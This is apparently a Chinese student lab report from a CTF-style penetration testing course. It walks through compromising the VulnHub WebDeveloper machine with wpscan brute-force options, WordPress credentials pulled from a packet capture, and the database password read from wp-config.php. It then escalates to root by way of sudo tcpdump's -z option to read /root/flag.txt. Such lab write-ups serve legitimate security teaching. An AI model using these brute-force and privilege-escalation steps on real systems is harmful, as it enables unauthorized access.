# 网络渗透测试实验四

# 原创



网络渗透测试课程 专栏收录该内容

10 篇文章 0 订阅 订阅专栏

实验目的:通过对目标靶机的渗透过程,了解CTF竞赛模式,理解CTF涵盖的知识范围,如MISC、PPC、WEB 等,通过实践,加强团队协作能力,掌握初步CTF实战能力及信息收集能力。熟悉网络扫描、探测HTTP web服 务、目录枚举、提权、图像信息提取、密码破解等相关工具的使用。

系统环境: Kali Linux 2、WebDeveloper靶机来源: https://www.vulnhub.com/

实验工具:不限

实验步骤和内容:

目的:获取靶机Web Developer 文件/root/flag.txt中flag。

基本思路:本网段IP地址存活扫描(netdiscover);网络扫描(Nmap);浏览HTTP 服务;网站目录枚举(Dirb);发现数据包文件 "cap";分析 "cap" 文件,找到网站管理后台账号密码;插件利用(有漏洞);利用漏洞获得服务器账号密码;SSH 远程登录服务器;tcpdump另类应用。

实施细节如下:

1、发现目标 (netdiscover),找到WebDeveloper的IP地址。截图。

2、:利用NMAP扫描目标主机,发现目标主机端口开放、服务情况,截图并说明目标提供的服务有哪些? (利用 第一次实验知识点)



开放了22端口,提供SSH(远程登录)服务,还开放了80端口,提供了HTTP(网页)服务。

3、若目标主机提供了HTTP服务,尝试利用浏览器访问目标网站。截图。是否有可用信息?

用kali登录IP之后:



把她翻译一下,好像没有什么有用的信息。

4、利用whatweb探测目标网站使用的CMS模板。截图。分析使用的CMS是什么?

所以她使用的CMS模板就是WordPress[4.9.8]

5、网络搜索wpscan,简要说明其功能。

WPScan是Kali Linux默认自带的一款漏洞扫描工具,它采用Ruby编写,能够扫描WordPress网站中的多种 安全漏洞,其中包括WordPress本身的漏洞、插件漏洞和主题漏洞。最新版本WPScan的数据库中包含超过 18000种插件漏洞和2600种主题漏洞,并且支持最新版本的WordPress。值得注意的是,它不仅能够扫描类似 robots.txt这样的敏感文件,而且还能够检测当前已启用的插件和其他功能

所以这是一款Wordpress的专用扫描器,功能如下所示:

查看帮助信息 wpscan -h

参数	用途
-update	更新
-u/—url	后面加要扫描的站点
-e/-enumerate	枚举
u	用户名
p	枚举插件
ар	枚举所有插件
vp	枚举有漏洞的插件
t	枚举主题
at	枚举所有主题
vt	枚举有漏洞的主题
-w/-wordlist	后面加字典
-U/-username	指定用户 CSDN @QSJWCZ_LHQL

# 更新漏洞库

wpscan --update

# 扫描站点 wpscan --url http://IP/wordpress

对主题进行扫描 wpscan --url http://IP/wordpress --enumerate t

扫描主题中存在的漏洞 wpscan --url http://IP/wordpress --enumerate vt

扫描安装的插件 wpscan --url http://IP/wordpress --enumerate p

扫描安装的插件的漏洞

wpscan --url http://IP/wordpress --enumerate vp

# 枚举wordpress的用户

wpscan --url http://IP/wordpress --enumerate u

## 使用wpscan进行暴力破解

wpscan --url http://xxxx --wordlist 密码字典 --username 用户名或者密码字典

## 命令集合

#### wpscan --url http://IP/wordpress --enmuerate vp,vt,tt,u

6、使用 Dirb 爆破网站目录。(Dirb 是一个专门用于爆破目录的工具,在 Kali 中默认已经安装,类似工具还有 国外的patator,dirsearch,DirBuster,国内的御剑)截图。

图片太多IP了,就不放出来了吧。

找到一个似乎和网络流量有关的目录(路径)。



8、利用Wireshark分析该数据包,分析TCP数据流。找到什么有用的信息?截图。

输入一个过滤语句 http.request.method == POST,剩下的就只有两条数据流了。

无线(W	) 工具(1) 🕴	帮助(H)	
			🛛 🗖
	Protocol	Length Info	
76	HTTP	799 P0ST	/wordpress/wp-login.php HTTP/1.1 (application/x-www-form_urlencoded)
76	HTTP	1015 POST	/wordpress/wp-admin/admin-ajax.php_HTTP/1.1_(applicaGSDNw@QSJWGZodu7QL_

然后选择第一条数据流,打开最下面的HTML。就可以发现我们需要的信息了。

•	Transmission	Control	Protocol,	Src	Port:	49558,	Dst	Port:	80,	Seq:	1,	Ack:	1,	Len:	733
•	Hypertext Tra	ansfer Pi	rotocol												
*	HTML Form URI	Encoded	1: applica	tion/	x-www	-form-u	rlen	coded							
	Form item:	"log" =	"webdevel	oper	"										
	Form item:	"pwd" =	"Te5eQg&4	sBS!	Yr\$)wf	%(DcAd"									
	Form item:	"wp-sub	mit" - "Lo	y In											
	Form item:	"redire	ct_to" = "	http	://	_		wordpr	ess/	wp-ad	min	/"			
	Form item:	"testco	okie" = "1	"								CSDN @	₽QS.	JWCZ_L	HQL

9利用上一步得到的信息进入网站后台。截图。



然后我们从这里登录网站后台。

Username or Email Address Password Remember Me Log In	
Lost your password? ← Back to Example site	CSDN @QSJWCZ_LHQL

出现了一个登录页面,输入我们上面知道的账号密码,就可以成功登录了。

💐 Kali Linux 🛛 💐 Kali To	ools 🕱 Kali Forums 🤜	Kali Docs	र NetHunter 💄 Offe	ensive Security 👢 MSFU 🌾 Exploit-DB 🐗 GH	IDB			
🛞 😚 Example site 🤆	🗲 4 📮 0 🕂 New					Howdy, web	developer 📃	
🙆 Dashboard	Dashboard					Screen Options 🔻	Help 🔻	
<b>Home</b> Updates	A new, mode	rn publis	hina experience	is coming soon.		0	Dismiss	
📌 Posts	Take your words,	media, and	layout in new directi	ions with Gutenberg, the WordPress editor w	e're currently building	1.		
93 Media				Test the new editor today.	Not guite ready?			
📕 Pages		$\odot$		You can take Gutenberg for a spin (and share	The new editor will be enabled by default in the			
Comments				your feedback, if you'd like) before we officially release it, by installing it as a plugin. You can help	next major release of WordPress. If you're not sure how compatible your current themes and plugins are, we've got you covered. Install the Classic Editor plugin to keep using the current			
Appearance				by <u>testing</u> , <u>filing bugs</u> , or contributing on the <u>GitHub repository</u> .				
🖌 Plugins			^		editor until you're read	dy to make the switch.		
🚢 Users	=							
🖋 Tools	-	00	,	Install Gutenberg	Install the Clas	sic Editor		
👪 Settings			ð					
Collapse menu				Learn more about Gutenberg				
	Welcome to	WordPre	ss!			0	Dismiss	
	We've assembled	some links	to get you started:		CSDN	@OSJWCZ	LHOL	

成功进入后台。

10、利用该CMS存在的(插件Plugin)漏洞。

下面使用方案3:



下载并且激活她,然后去WP File Managner里面找到wp-config.php。

🕂 Kali Linux 🛛 📉 Kali T	ools 🐹 Kali Forums 🖪 Kali Docs 🔇	NetHunter 🦺 Offensive Security	👢 MSFU 🦛 Exp	oloit-DB 🌾 GHDB		
🔞 😤 Example site	🖸 5 📮 0 🕂 New					Howdy, webdeveloper
🍪 Dashboard	WordPress 5.8.2 is available! Pleas	e update now.				
🖈 Posts						
91 Media	WP File Manager Buy Pf	RO		Change Theme Here: Default	• Englis	h •
📕 Pages						
Comments		* * D X D X 5 3 0			22	( <u>a</u> ×)
🔊 Appearance	iodata	Name	Permissions read	I Modified Oct 30, 2018 05:14 AM	l Size	I Kind Folder
🖌 Plugins 🕕	mp-admin	wp-admin	read and write	Aug 02, 2018 04:39 PM		Folder
• Hears	multiple in the second seco	wp-content	read and write	Today 03:43 AM		Folder
🛎 Users	▶ _ wp-includ	wp-includes	read and write	Aug 02, 2018 04:39 PM		Folder
🖋 Tools		e index.php	read and write	Sep 24, 2013 08:18 PM	418 b	PHP source
5 Settings		license.bt	read and write	Jan 06, 2018 02:32 PM	19 KB	Plain text
	K	eadme.html	read and write	Mar 18, 2018 12:13 PM	7 KB	HTML document
🌅 WP File Manager 🤇		e wp-activate.php	read and write	May 01, 2018 06:10 PM	5 KB	PHP source
WP File Manager		P wp-blog-header.php	read and write	Dec 19, 2015 06:20 AM	364 b	PHP source
Sattinar		wp-comments-post.php	read and write	May 02, 2018 06:11 PM	2 KB	PHP source
Desforment		ef un conto aba	read and write	Oct 20, 2018 05-05 AM	2 4 5	DHD course
Preferences		y wp-coniig.php	read and write	Oct 30, 2018 05.06 AM	3 KB	PHP source
System Properties		wn-links-opmi.php	read and write	Nov 20, 2016 09:46 PM	2 KB	PHP source
Shortcode – PRO		wp-load.php	read and write	Aug 22, 2017 07:52 AM	3 KB	PHP source
Logs		e wp-login.php	read and write	Jul 16, 2018 10:14 AM	OC PT KB	CPHP EDWIGES TO LILLON
Rackup / Restore Transferring data from s	.w.org				Carl @	USDWGZ_LFIQL

然后我们打开她,往下扒拉几下就可以看到远程数据库,已经远程登录的账号密码了。



用户名: webdeveloper 密码: Masteroftheuniverse

#### 11、SSH登录服务器

尝试利用上一步获得的访问数据库的用户名和密码连接远程服务器。截图。



1)、尝试查看/root/flag.txt 以下操作得到的结果截图替代以下截图。



con cannoe access /	root, reagiene riermisoion de			8
webdeveloper@webdeve	<pre>loper:~\$ sudo cat /root/flag.</pre>	txt		
[sudo] password for	webdeveloper:			
sSorry, try again.				
[sudo] password for	webdeveloper:			
sSorry, try again.				
[sudo] password for	webdeveloper:			
udosudo: 3 incorrect	nassword attempts			
webdevel oper@webdeve	loner:~\$ sedo _1			
webuevecoperajwebueve	toper.ep seud -t			
Command 'codo' not f	ound did you moon.			
Command Sedo not f	ound, did you mean:			
annead lands I far	a tala kata atala ta			
command sudo fro	m deb sudo			
command sudo tro	m deb sudo-ldap			
command 'sed' from	deb sed			
Try: apt install <de< td=""><td>b name&gt;</td><td></td><td></td><td></td></de<>	b name>			
webdeveloper@webdeve	loper:~\$			
::1	ff02::2	ip6-allnodes	ip6-localnet	localhost6
fe00::0	ff02::3	ip6-allrouters	ip6-loopback	localhost6.localdomain6
ff02::1	ip6-allhosts	ip6-localhost	localhost	LCSRNGQSWCGmLHQL

发现均无法查看。

### 2)、使用tcpdump执行任意命令(当tcpdump捕获到数据包后会执行指定的命令。)

查看当前身份可执行的命令。

接下来输入命令sudo -I 下面的密码也是MasterOfTheUniverse。



#### 发现可以root权限执行tcpdump命令

创建攻击文件

#### touch /tmp/exploit1

写入shellcode

echo 'cat /root/flag.txt' > /tmp/exploit

赋予可执行权限

#### chmod +x /tmp/exploit

利用tcpdump执行任意命令

#### sudo tcpdump -i eth0 -w /dev/null -W 1 -G 1 -z /tmp/exploit -Z root

然后就可以获得flag

```
webdeveloper@webdeveloper:~$ touch /tmp/exploit
webdeveloper@webdeveloper:~$ echo "cat /root/flag.txt" > /tmp/exploit
webdeveloper@webdeveloper:~$ chmod +x /tmp/exploit
webdeveloper@webdeveloper:~$ sudo tcpdump -ln -i eth0 -w /dev/null -W 1 -G 1 -z /tmp/exploit -Z root
dropped privs to root
tcpdump: listening on eth0, link-type EN10MB (Ethernet), capture size 262144 bytes
Maximum file limit reached: 1
1 packet captured
17 packets received by filter
0 packets dropped by kernel
webdeveloper@webdeveloper:~$ /tmp/exploit: 1: /tmp/exploit: "cat: not found CSDN @QSJWCZ_LHQL
```

tcpdump命令详解:

-i eth0 从指定网卡捕获数据包

-w /dev/null 将捕获到的数据包输出到空设备(不输出数据包结果)

-z [command] 运行指定的命令

-Z [user] 指定用户执行命令

-G [rotate\_seconds] 每rotate\_seconds秒一次的频率执行-w指定的转储

-W [num] 指定抓包数量